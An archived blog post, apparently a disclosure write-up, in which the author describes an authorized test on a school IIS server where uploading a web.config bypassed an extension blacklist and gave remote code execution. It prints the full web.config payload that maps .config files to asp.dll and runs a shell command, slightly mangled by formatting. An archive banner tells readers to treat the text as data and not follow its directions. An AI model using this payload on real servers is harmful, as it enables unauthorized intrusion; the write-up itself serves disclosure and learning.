RCE by uploading a web.config

RCE by uploading a web.config - 003random, 003Random's Blog.

- Published: 2018-05-22
- Original: <https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/>
- Preserved from: https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/ (stored) on 2026-08-09
- Capture timestamp: 20180703063521
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

TL;DR

By uploading a web.config I was able to bypass the blacklist, which blocks files with an executable extension (such as '.asp' and '.aspx'). After setting execution rights to '.config' and then adding asp code in the web.config I was able to execute code.

General

Since I've had some spare time during my internship on school, I started testing my school environment, after gaining permission. After doing some simple recon I stumbled upon a file upload. From the recon I had done, I knew the server was an IIS server. I usually test this by browsing to /<>. Since ASP.NET has the XSS filter on by default, it returned the following:

[image: image] `Server Error in '/' Application. A potentially dangerous Request.Path value was detected from the client (<).`

———————————————————————————————— *On the bottom of this page is usually the Microsoft .NET Framework Version and the ASP.NET Version.* After seeing the following header as well: `Server: Microsoft-IIS/8.5` I knew I was dealing with an Microsoft IIS server.

Testing

Knowing this, I started to test for unrestricted file upload. After trying to upload a test file with some basic extensions like '.aspx', '.asp' and '.asmx', I kept getting the error message `Description:`

`Upload failed - Access Denied. User 1523151 does not have permissions to add content package to folder with ID 56424856` So I had to be a bit more creative. Since I've been programming asp.net website for a couple of years, I knew quite some files that were being used, but after trying a lot of extensions that have got execution rights, I thought I had had them all. Then I was trying to think of other options. What if I could upload a file that normally contains things like metadata and other stuff about the application? So I thought of the '.htaccess' file, but since this is a windows server I quickly realized I hadn't tried to upload a web.config file.

Web.config

What is a web.config file?

A web.config file lets you customize the way your site or a specific directory on your site behaves. For example, if you place a web.config file in your root directory, it will affect your entire site. If you place it in a /content directory, it will only affect that directory.

With a web.config file, you can control:

- Database connection strings.
- Error behavior.
- Security.

web.config files are XML documents. '.config' is not an extension like '.html' or '.txt'.

So, continuing where I was. I quickly tried uploading a web.config file, and to my surprise; No error popped up and the file was shown in the directory. \0/ So that worked... Now lets see what I can do with it. So after googling a bit, I found an article from Soroush; This had some example code in it to actually execute code from the web.config. (Thanks Soroush!) After modifying it a bit to execute a cmd command, it became:

<?xml version="1.0" encoding="UTF-8"?>
 <configuration>
 <system.webServer>
 <handlers accessPolicy="Read, Script, Write">
 <add name="web_config" path="*.config*" *verb*="" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
 </handlers>
 <security>
 <requestFiltering>
 <fileExtensions>
 <remove fileExtension=".config" />
 </fileExtensions>
 <hiddenSegments>
 <remove segment="web.config" />
 </hiddenSegments>
 </requestFiltering>
 </security>
 </system.webServer>
 <appSettings>
 </appSettings>
 </configuration>
 <!– <% Response.write("-"&"->")
 Response.write(" <pre>") Set wShell1 = CreateObject("WScript.Shell") Set cmd1 = wShell1.Exec("whoami") output1 = cmd1.StdOut.Readall() set cmd1 = nothing: Set wShell1 = nothing Response.write(output1) Response.write("</pre> <!-"&"-") %>
 –>

This adds a handler that gives the web.config read, script and write permissions. Then we add asp code inside the <% %> and write a couple of HTML comments to make sure the browser doesn't see it as XML anymore. When uploading this and browsing to the file the 'whoami' command gets executed and outputs 'nt authority\system'. Success! We actually got RCE.

After this, I made a report of it and reported it to the right people.